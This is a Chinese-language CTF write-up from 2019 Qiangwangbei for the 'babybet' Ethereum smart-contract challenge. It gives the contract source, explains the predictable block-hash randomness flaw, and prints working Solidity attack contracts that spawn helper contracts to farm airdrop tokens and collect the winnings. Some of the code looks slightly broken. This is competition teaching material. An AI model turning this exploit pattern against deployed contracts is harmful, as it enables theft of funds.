babybet
pragma solidity ^0.4.23;
contract babybet {
mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
逆向合約,得到關鍵函數:profit、bet、func_048F(轉賬函數)。 發現此問題相比上一道題利用方法更為簡單。首先調用profit函數獲得空投10 token。 之后進入bet函數,而bet函數有如下判斷:首先余額要>=10 、status要小于2、傳入的參數要與隨機數相同,之后便會給與此賬戶1000代幣,并將status改為2 。 于是我們的函數調用順序為:創建新合約賬戶A,調用profit、預測隨機數調用guess、調用轉賬函數匯總token。 合約要求代幣要>1000000,所以上述薅羊毛過程需要重復1000次,并匯總到一個賬戶中。 具體合約如下:
contract midContract {
babybet target = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);
function process() public {
target.profit();
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
target.bet(guess1);
}
function transfer(address a, uint b) public{
// target.func_048F(a,b);
bytes4 method = 0xf0d25268;
target.call(method,a,b);
selfdestruct();
}
}
contract hack {
// babybet target; = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);
function ffff() public {
for(int i=0;i<=20;i++){
midContract mid = new midContract();
mid.process();
mid.transfer("0x9b9a30b7df47b9dbe0ec7d4bd52aaae4465f2ebe",1000);
}
}
}
每次生成新合約,循環20次,所以此合約執行50次即可。記得將gas limit調大。 預測十分簡單,即使用一下語句即可


調用后拿到flag

2019強網杯-Writeup